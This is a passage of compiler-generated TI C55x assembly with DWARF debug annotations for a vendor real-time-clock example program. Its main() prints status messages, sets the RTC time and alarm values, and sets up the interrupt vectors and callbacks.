.dwattr $C$DW$29, DW_AT_external
$C$DW$30 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$30, DW_AT_type(*$C$DW$T$19)
$C$DW$31 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$31, DW_AT_type(*$C$DW$T$59)
.dwendtag $C$DW$29
$C$DW$32 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_clear")
.dwattr $C$DW$32, DW_AT_TI_symbol_name("_IRQ_clear")
.dwattr $C$DW$32, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$32, DW_AT_declaration
.dwattr $C$DW$32, DW_AT_external
$C$DW$33 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$33, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$32
$C$DW$34 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_clearAll")
.dwattr $C$DW$34, DW_AT_TI_symbol_name("_IRQ_clearAll")
.dwattr $C$DW$34, DW_AT_declaration
.dwattr $C$DW$34, DW_AT_external
$C$DW$35 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_disableAll")
.dwattr $C$DW$35, DW_AT_TI_symbol_name("_IRQ_disableAll")
.dwattr $C$DW$35, DW_AT_declaration
.dwattr $C$DW$35, DW_AT_external
$C$DW$36 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_enable")
.dwattr $C$DW$36, DW_AT_TI_symbol_name("_IRQ_enable")
.dwattr $C$DW$36, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$36, DW_AT_declaration
.dwattr $C$DW$36, DW_AT_external
$C$DW$37 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$37, DW_AT_type(*$C$DW$T$19)
.dwendtag $C$DW$36
$C$DW$38 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_setVecs")
.dwattr $C$DW$38, DW_AT_TI_symbol_name("_IRQ_setVecs")
.dwattr $C$DW$38, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$38, DW_AT_declaration
.dwattr $C$DW$38, DW_AT_external
$C$DW$39 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$39, DW_AT_type(*$C$DW$T$79)
.dwendtag $C$DW$38
$C$DW$40 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalDisable")
.dwattr $C$DW$40, DW_AT_TI_symbol_name("_IRQ_globalDisable")
.dwattr $C$DW$40, DW_AT_type(*$C$DW$T$84)
.dwattr $C$DW$40, DW_AT_declaration
.dwattr $C$DW$40, DW_AT_external
$C$DW$41 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalEnable")
.dwattr $C$DW$41, DW_AT_TI_symbol_name("_IRQ_globalEnable")
.dwattr $C$DW$41, DW_AT_type(*$C$DW$T$84)
.dwattr $C$DW$41, DW_AT_declaration
.dwattr $C$DW$41, DW_AT_external
$C$DW$42 .dwtag DW_TAG_subprogram, DW_AT_name("VECSTART")
.dwattr $C$DW$42, DW_AT_TI_symbol_name("_VECSTART")
.dwattr $C$DW$42, DW_AT_declaration
.dwattr $C$DW$42, DW_AT_external
.global _InitTime
.bss _InitTime,4,0,0
$C$DW$43 .dwtag DW_TAG_variable, DW_AT_name("InitTime")
.dwattr $C$DW$43, DW_AT_TI_symbol_name("_InitTime")
.dwattr $C$DW$43, DW_AT_location[DW_OP_addr _InitTime]
.dwattr $C$DW$43, DW_AT_type(*$C$DW$T$43)
.dwattr $C$DW$43, DW_AT_external
.global _InitDate
.bss _InitDate,3,0,0
$C$DW$44 .dwtag DW_TAG_variable, DW_AT_name("InitDate")
.dwattr $C$DW$44, DW_AT_TI_symbol_name("_InitDate")
.dwattr $C$DW$44, DW_AT_location[DW_OP_addr _InitDate]
.dwattr $C$DW$44, DW_AT_type(*$C$DW$T$45)
.dwattr $C$DW$44, DW_AT_external
.global _GetTime
.bss _GetTime,4,0,0
$C$DW$45 .dwtag DW_TAG_variable, DW_AT_name("GetTime")
.dwattr $C$DW$45, DW_AT_TI_symbol_name("_GetTime")
.dwattr $C$DW$45, DW_AT_location[DW_OP_addr _GetTime]
.dwattr $C$DW$45, DW_AT_type(*$C$DW$T$43)
.dwattr $C$DW$45, DW_AT_external
.global _GetDate
.bss _GetDate,3,0,0
$C$DW$46 .dwtag DW_TAG_variable, DW_AT_name("GetDate")
.dwattr $C$DW$46, DW_AT_TI_symbol_name("_GetDate")
.dwattr $C$DW$46, DW_AT_location[DW_OP_addr _GetDate]
.dwattr $C$DW$46, DW_AT_type(*$C$DW$T$45)
.dwattr $C$DW$46, DW_AT_external
.global _rtcConfig
.bss _rtcConfig,15,0,0
$C$DW$47 .dwtag DW_TAG_variable, DW_AT_name("rtcConfig")
.dwattr $C$DW$47, DW_AT_TI_symbol_name("_rtcConfig")
.dwattr $C$DW$47, DW_AT_location[DW_OP_addr _rtcConfig]
.dwattr $C$DW$47, DW_AT_type(*$C$DW$T$41)
.dwattr $C$DW$47, DW_AT_external
.global _rtcGetConfig
.bss _rtcGetConfig,15,0,0
$C$DW$48 .dwtag DW_TAG_variable, DW_AT_name("rtcGetConfig")
.dwattr $C$DW$48, DW_AT_TI_symbol_name("_rtcGetConfig")
.dwattr $C$DW$48, DW_AT_location[DW_OP_addr _rtcGetConfig]
.dwattr $C$DW$48, DW_AT_type(*$C$DW$T$41)
.dwattr $C$DW$48, DW_AT_external
.global _AlarmTime
.bss _AlarmTime,7,0,0
$C$DW$49 .dwtag DW_TAG_variable, DW_AT_name("AlarmTime")
.dwattr $C$DW$49, DW_AT_TI_symbol_name("_AlarmTime")
.dwattr $C$DW$49, DW_AT_location[DW_OP_addr _AlarmTime]
.dwattr $C$DW$49, DW_AT_type(*$C$DW$T$47)
.dwattr $C$DW$49, DW_AT_external
.global _isrAddr
.bss _isrAddr,14,0,2
$C$DW$50 .dwtag DW_TAG_variable, DW_AT_name("isrAddr")
.dwattr $C$DW$50, DW_AT_TI_symbol_name("_isrAddr")
.dwattr $C$DW$50, DW_AT_location[DW_OP_addr _isrAddr]
.dwattr $C$DW$50, DW_AT_type(*$C$DW$T$51)
.dwattr $C$DW$50, DW_AT_external
.global _rtcDispatchTable
.bss _rtcDispatchTable,14,0,2
$C$DW$51 .dwtag DW_TAG_variable, DW_AT_name("rtcDispatchTable")
.dwattr $C$DW$51, DW_AT_TI_symbol_name("_rtcDispatchTable")
.dwattr $C$DW$51, DW_AT_location[DW_OP_addr _rtcDispatchTable]
.dwattr $C$DW$51, DW_AT_type(*$C$DW$T$49)
.dwattr $C$DW$51, DW_AT_external
.global _rtcTimeCount
.bss _rtcTimeCount,2,0,2
$C$DW$52 .dwtag DW_TAG_variable, DW_AT_name("rtcTimeCount")
.dwattr $C$DW$52, DW_AT_TI_symbol_name("_rtcTimeCount")
.dwattr $C$DW$52, DW_AT_location[DW_OP_addr _rtcTimeCount]
.dwattr $C$DW$52, DW_AT_type(*$C$DW$T$96)
.dwattr $C$DW$52, DW_AT_external
.global _secIntrCnt
.bss _secIntrCnt,1,0,0
$C$DW$53 .dwtag DW_TAG_variable, DW_AT_name("secIntrCnt")
.dwattr $C$DW$53, DW_AT_TI_symbol_name("_secIntrCnt")
.dwattr $C$DW$53, DW_AT_location[DW_OP_addr _secIntrCnt]
.dwattr $C$DW$53, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$53, DW_AT_external
.global _PaSs_StAtE
.bss _PaSs_StAtE,1,0,0
$C$DW$54 .dwtag DW_TAG_variable, DW_AT_name("PaSs_StAtE")
.dwattr $C$DW$54, DW_AT_TI_symbol_name("_PaSs_StAtE")
.dwattr $C$DW$54, DW_AT_location[DW_OP_addr _PaSs_StAtE]
.dwattr $C$DW$54, DW_AT_type(*$C$DW$T$82)
.dwattr $C$DW$54, DW_AT_external
.global _PaSs
.bss _PaSs,1,0,0
$C$DW$55 .dwtag DW_TAG_variable, DW_AT_name("PaSs")
.dwattr $C$DW$55, DW_AT_TI_symbol_name("_PaSs")
.dwattr $C$DW$55, DW_AT_location[DW_OP_addr _PaSs]
.dwattr $C$DW$55, DW_AT_type(*$C$DW$T$82)
.dwattr $C$DW$55, DW_AT_external
; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2708812
.sect ".text"
.align 4
.global _main
$C$DW$56 .dwtag DW_TAG_subprogram, DW_AT_name("main")
.dwattr $C$DW$56, DW_AT_low_pc(_main)
.dwattr $C$DW$56, DW_AT_high_pc(0x00)
.dwattr $C$DW$56, DW_AT_TI_symbol_name("_main")
.dwattr $C$DW$56, DW_AT_external
.dwattr $C$DW$56, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$56, DW_AT_TI_begin_line(0x6c)
.dwattr $C$DW$56, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$56, DW_AT_TI_max_frame_size(0x0c)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 109,column 1,is_stmt,address _main
.dwfde $C$DW$CIE, _main
;*******************************************************************************
;* FUNCTION NAME: main *
;* *
;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,AR0,XAR0,AR1,XAR1,AR2,AR3,XAR3,SP,*
;* CARRY,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 12 words *
;* (1 return address/alignment) *
;* (9 function parameters) *
;* (2 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_main:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-11, SP
.dwcfi cfa_offset, 12
$C$DW$57 .dwtag DW_TAG_variable, DW_AT_name("status")
.dwattr $C$DW$57, DW_AT_TI_symbol_name("_status")
.dwattr $C$DW$57, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$57, DW_AT_location[DW_OP_bregx 0x24 9]
$C$DW$58 .dwtag DW_TAG_variable, DW_AT_name("iteration")
.dwattr $C$DW$58, DW_AT_TI_symbol_name("_iteration")
.dwattr $C$DW$58, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$58, DW_AT_location[DW_OP_bregx 0x24 10]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 113,column 2,is_stmt
MOV #1, *SP(#10) ; |113|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 115,column 2,is_stmt
AMOV #$C$FSL1, XAR3 ; |115|
MOV XAR3, dbl(*SP(#0))
$C$DW$59 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$59, DW_AT_low_pc(0x00)
.dwattr $C$DW$59, DW_AT_name("_printf")
.dwattr $C$DW$59, DW_AT_TI_call
CALL #_printf ; |115|
; call occurs [#_printf] ; |115|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 116,column 2,is_stmt
AMOV #$C$FSL2, XAR3 ; |116|
MOV XAR3, dbl(*SP(#0))
$C$DW$60 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$60, DW_AT_low_pc(0x00)
.dwattr $C$DW$60, DW_AT_name("_printf")
.dwattr $C$DW$60, DW_AT_TI_call
CALL #_printf ; |116|
; call occurs [#_printf] ; |116|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 117,column 2,is_stmt
AMOV #$C$FSL3, XAR3 ; |117|
MOV XAR3, dbl(*SP(#0))
$C$DW$61 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$61, DW_AT_low_pc(0x00)
.dwattr $C$DW$61, DW_AT_name("_printf")
.dwattr $C$DW$61, DW_AT_TI_call
CALL #_printf ; |117|
; call occurs [#_printf] ; |117|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 118,column 2,is_stmt
AMOV #$C$FSL4, XAR3 ; |118|
MOV XAR3, dbl(*SP(#0))
$C$DW$62 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$62, DW_AT_low_pc(0x00)
.dwattr $C$DW$62, DW_AT_name("_printf")
.dwattr $C$DW$62, DW_AT_TI_call
CALL #_printf ; |118|
; call occurs [#_printf] ; |118|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 119,column 2,is_stmt
AMOV #$C$FSL5, XAR3 ; |119|
MOV XAR3, dbl(*SP(#0))
$C$DW$63 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$63, DW_AT_low_pc(0x00)
.dwattr $C$DW$63, DW_AT_name("_printf")
.dwattr $C$DW$63, DW_AT_TI_call
CALL #_printf ; |119|
; call occurs [#_printf] ; |119|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 122,column 2,is_stmt
MOV #8, *(#(_rtcConfig+6)) ; |122|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 123,column 2,is_stmt
MOV #8, *(#(_rtcConfig+5)) ; |123|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 124,column 2,is_stmt
MOV #8, *(#(_rtcConfig+4)) ; |124|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 125,column 2,is_stmt
MOV #8, *(#(_rtcConfig+3)) ; |125|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 126,column 2,is_stmt
MOV #8, *(#(_rtcConfig+2)) ; |126|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 127,column 2,is_stmt
MOV #8, *(#(_rtcConfig+1)) ; |127|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 128,column 2,is_stmt
MOV #8, *(#_rtcConfig) ; |128|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 130,column 2,is_stmt
MOV #8, *(#(_rtcConfig+13)) ; |130|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 131,column 2,is_stmt
MOV #8, *(#(_rtcConfig+12)) ; |131|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 132,column 2,is_stmt
MOV #8, *(#(_rtcConfig+11)) ; |132|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 133,column 2,is_stmt
MOV #8, *(#(_rtcConfig+10)) ; |133|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 134,column 2,is_stmt
MOV #8, *(#(_rtcConfig+9)) ; |134|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 135,column 2,is_stmt
MOV #8, *(#(_rtcConfig+8)) ; |135|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 136,column 2,is_stmt
MOV #10, *(#(_rtcConfig+7)) ; |136|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 138,column 2,is_stmt
MOV #32831, *(#(_rtcConfig+14)) ; |138|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 141,column 5,is_stmt
MOV #8, *(#_InitDate) ; |141|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 142,column 5,is_stmt
MOV #10, *(#(_InitDate+1)) ; |142|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 143,column 5,is_stmt
MOV #16, *(#(_InitDate+2)) ; |143|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 145,column 5,is_stmt
MOV #12, *(#_InitTime) ; |145|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 146,column 5,is_stmt
MOV #12, *(#(_InitTime+1)) ; |146|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 147,column 5,is_stmt
MOV #12, *(#(_InitTime+2)) ; |147|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 148,column 5,is_stmt
MOV #12, *(#(_InitTime+3)) ; |148|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 151,column 5,is_stmt
MOV #8, *(#_AlarmTime) ; |151|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 152,column 5,is_stmt
MOV #10, *(#(_AlarmTime+1)) ; |152|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 153,column 5,is_stmt
MOV #16, *(#(_AlarmTime+2)) ; |153|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 154,column 5,is_stmt
MOV #12, *(#(_AlarmTime+3)) ; |154|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 155,column 5,is_stmt
MOV #12, *(#(_AlarmTime+4)) ; |155|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 156,column 5,is_stmt
MOV #17, *(#(_AlarmTime+5)) ; |156|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 157,column 5,is_stmt
MOV #512, *(#(_AlarmTime+6)) ; |157|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 160,column 5,is_stmt
MOV #(_rtc_msIntc >> 16) << #16, AC0 ; |160|
OR #(_rtc_msIntc & 0xffff), AC0, AC0 ; |160|
MOV AC0, dbl(*(#_isrAddr)) ; |160|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 161,column 5,is_stmt
MOV #(_rtc_secIntc >> 16) << #16, AC0 ; |161|
OR #(_rtc_secIntc & 0xffff), AC0, AC0 ; |161|
MOV AC0, dbl(*(#(_isrAddr+2))) ; |161|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 162,column 5,is_stmt
MOV #(_rtc_minIntc >> 16) << #16, AC0 ; |162|
OR #(_rtc_minIntc & 0xffff), AC0, AC0 ; |162|
MOV AC0, dbl(*(#(_isrAddr+4))) ; |162|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 163,column 5,is_stmt
MOV #(_rtc_hourIntc >> 16) << #16, AC0 ; |163|
OR #(_rtc_hourIntc & 0xffff), AC0, AC0 ; |163|
MOV AC0, dbl(*(#(_isrAddr+6))) ; |163|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 164,column 5,is_stmt
MOV #(_rtc_dayIntc >> 16) << #16, AC0 ; |164|
OR #(_rtc_dayIntc & 0xffff), AC0, AC0 ; |164|
MOV AC0, dbl(*(#(_isrAddr+8))) ; |164|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 165,column 5,is_stmt
MOV #(_rtc_extEvt >> 16) << #16, AC0 ; |165|
OR #(_rtc_extEvt & 0xffff), AC0, AC0 ; |165|
MOV AC0, dbl(*(#(_isrAddr+10))) ; |165|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 166,column 5,is_stmt
MOV #(_rtc_alarmEvt >> 16) << #16, AC0 ; |166|
OR #(_rtc_alarmEvt & 0xffff), AC0, AC0 ; |166|
MOV AC0, dbl(*(#(_isrAddr+12))) ; |166|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 168,column 5,is_stmt
AMOV #_isrAddr, XAR1 ; |168|
AMOV #_rtcDispatchTable, XAR0 ; |168|
$C$DW$64 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$64, DW_AT_low_pc(0x00)
.dwattr $C$DW$64, DW_AT_name("_RTC_setCallback")
.dwattr $C$DW$64, DW_AT_TI_call
CALL #_RTC_setCallback ; |168|
; call occurs [#_RTC_setCallback] ; |168|
MOV T0, *SP(#9) ; |168|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 169,column 2,is_stmt
MOV T0, AR1
BCC $C$L1,AR1 == #0 ; |169|
; branchcc occurs ; |169|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 171,column 3,is_stmt
AMOV #$C$FSL6, XAR3 ; |171|
MOV XAR3, dbl(*SP(#0))
$C$DW$65 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$65, DW_AT_low_pc(0x00)
.dwattr $C$DW$65, DW_AT_name("_printf")
.dwattr $C$DW$65, DW_AT_TI_call
CALL #_printf ; |171|
; call occurs [#_printf] ; |171|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 172,column 3,is_stmt
B $C$L14 ; |172|
; branch occurs ; |172|
$C$L1:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 176,column 3,is_stmt
AMOV #$C$FSL7, XAR3 ; |176|
MOV XAR3, dbl(*SP(#0))
$C$DW$66 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$66, DW_AT_low_pc(0x00)
.dwattr $C$DW$66, DW_AT_name("_printf")
.dwattr $C$DW$66, DW_AT_TI_call
CALL #_printf ; |176|
; call occurs [#_printf] ; |176|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 180,column 5,is_stmt
$C$DW$67 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$67, DW_AT_low_pc(0x00)
.dwattr $C$DW$67, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$67, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |180|
; call occurs [#_IRQ_globalDisable] ; |180|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 183,column 2,is_stmt
$C$DW$68 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$68, DW_AT_low_pc(0x00)
.dwattr $C$DW$68, DW_AT_name("_IRQ_clearAll")
.dwattr $C$DW$68, DW_AT_TI_call
CALL #_IRQ_clearAll ; |183|
; call occurs [#_IRQ_clearAll] ; |183|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 186,column 2,is_stmt
$C$DW$69 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$69, DW_AT_low_pc(0x00)
.dwattr $C$DW$69, DW_AT_name("_IRQ_disableAll")
.dwattr $C$DW$69, DW_AT_TI_call
CALL #_IRQ_disableAll ; |186|
; call occurs [#_IRQ_disableAll] ; |186|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 188,column 2,is_stmt
MOV #(_VECSTART >> 16) << #16, AC0 ; |188|
OR #(_VECSTART & 0xffff), AC0, AC0 ; |188|
$C$DW$70 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$70, DW_AT_low_pc(0x00)
.dwattr $C$DW$70, DW_AT_name("_IRQ_setVecs")
.dwattr $C$DW$70, DW_AT_TI_call
CALL #_IRQ_setVecs ; |188|
; call occurs [#_IRQ_setVecs] ; |188|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 189,column 2,is_stmt
MOV #18, T0 ; |189|
$C$DW$71 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$71, DW_AT_low_pc(0x00)
.dwattr $C$DW$71, DW_AT_name("_IRQ_clear")
.dwattr $C$DW$71, DW_AT_TI_call
CALL #_IRQ_clear ; |189|
; call occurs [#_IRQ_clear] ; |189|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 191,column 2,is_stmt
MOV #18, T0 ; |191|
MOV #(_rtc_isr >> 16) << #16, AC0 ; |191|
OR #(_rtc_isr & 0xffff), AC0, AC0 ; |191|
$C$DW$72 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$72, DW_AT_low_pc(0x00)
.dwattr $C$DW$72, DW_AT_name("_IRQ_plug")
.dwattr $C$DW$72, DW_AT_TI_call
CALL #_IRQ_plug ; |191|
; call occurs [#_IRQ_plug] ; |191|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 193,column 2,is_stmt
MOV #18, T0 ; |193|
$C$DW$73 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$73, DW_AT_low_pc(0x00)
.dwattr $C$DW$73, DW_AT_name("_IRQ_enable")
.dwattr $C$DW$73, DW_AT_TI_call
CALL #_IRQ_enable ; |193|
; call occurs [#_IRQ_enable] ; |193|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 194,column 2,is_stmt
$C$DW$74 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$74, DW_AT_low_pc(0x00)
.dwattr $C$DW$74, DW_AT_name("_IRQ_globalEnable")
.dwattr $C$DW$74, DW_AT_TI_call
CALL #_IRQ_globalEnable ; |194|
; call occurs [#_IRQ_globalEnable] ; |194|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 197,column 2,is_stmt
$C$DW$75 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$75, DW_AT_low_pc(0x00)
.dwattr $C$DW$75, DW_AT_name("_RTC_reset")
.dwattr $C$DW$75, DW_AT_TI_call
CALL #_RTC_reset ; |197|
; call occurs [#_RTC_reset] ; |197|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 200,column 2,is_stmt
AMOV #_rtcConfig, XAR0 ; |200|
